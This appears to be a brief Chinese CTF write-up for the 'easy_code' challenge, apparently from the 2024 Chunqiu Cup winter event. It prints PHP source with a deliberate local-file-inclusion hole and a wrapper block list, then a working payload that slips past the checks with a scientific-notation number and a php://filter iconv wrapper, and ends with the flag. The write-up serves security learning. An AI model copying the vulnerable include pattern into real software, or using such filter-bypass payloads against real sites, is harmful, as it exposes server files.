【靶场合集】CTF-2024春秋杯冬季赛：easy_code

<?phpheader('Content-Type: text/html; charset=utf-8');highlight_file(__FILE__);$allowedFiles = ['read.php', 'index.php'];$ctfer = $_GET['ctfer']?? null;if ($ctfer === null) {    die("error 0!");}if (!is_numeric($ctfer)) {    die("error 1!");}if ($ctfer!= 667) {    die("error 2!");}//溢出if (strpos(strval($ctfer), '7')!== false) {    die("error 3!");}$file = $_GET["file"];if ($_COOKIE['pass'] == "admin") {if (isset($file)) {        // 改进的正则表达式，检查是否不存在 base|rot13|input|data|flag|file|base64 字符串if (preg_match("/^(?:.*(?:base|rot13|input|data|flag|file|2|5|base64|log|proc|self|env).*)$/i", $file)) {            // 先检查文件是否在允许的列表中echo"prohibited prohibited!!!!";        } else {echo"试试read.php";            include($file);        }    }}?>

/gogogo.php?ctfer=6.6699999999999999e2&file=php://filter/convert.iconv.utf-8.utf-16/resource=read.php

flag{d91ea23e927b0e2dca64624cf4c867ca}